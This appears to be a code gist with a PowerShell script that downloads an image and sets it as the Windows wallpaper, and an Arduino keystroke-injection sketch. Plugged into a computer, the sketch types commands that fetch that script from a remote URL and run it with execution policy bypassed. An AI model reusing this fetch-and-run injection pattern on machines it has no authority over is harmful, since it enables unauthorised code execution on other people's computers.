change windows wallpaper using powershell

change-wallpaper.ps1

# Define the URL of the image to download
$url = "https://raw.githubusercontent.com/MortezaShoeibi/Arduino-Scripts/master/assets/sunglasses-in-the-dark.jpg"

# Specify the path where you want to save the downloaded image
$imagePath = "$env:TEMP\wallpaper.jpg"

# Download the image from the web
Invoke-WebRequest -Uri $url -OutFile $imagePath

# Check if the download was successful
if (Test-Path $imagePath) {
    # Set the downloaded image as the desktop wallpaper
    # This uses the SystemParametersInfo Win32 API function
    Add-Type -TypeDefinition @"
        using System;
        using System.Runtime.InteropServices;
        public class Wallpaper {
            [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
            public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
            public const int SPI_SETDESKWALLPAPER = 0x0014;
            public const int SPIF_UPDATEINIFILE = 0x01;
            public const int SPIF_SENDCHANGE = 0x02;
            public static void SetDesktopWallpaper(string path) {
                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
        }
"@
    
    # Set the downloaded image as the desktop wallpaper
    [Wallpaper]::SetDesktopWallpaper($imagePath)
    Write-Host "Desktop wallpaper has been changed."
} else {
    Write-Host "Failed to download the image."
}

wallpaper.ino

#include <Keyboard.h>

void setup() {
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("powershell");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("invoke-webrequest -uri https://gist.githubusercontent.com/hoosnick/43d60d2f378de7b2e0c5fe1e1f851b8b/raw/585e88cdd7f82fe4e6a458ab5b2731ecd6195a47/change-wallpaper.ps1 -outfile wallpaper.ps1");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("powershell -ExecutionPolicy Bypass -File .\\wallpaper.ps1");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(500);
}

void loop() {
  // put your main code here, to run repeatedly:
}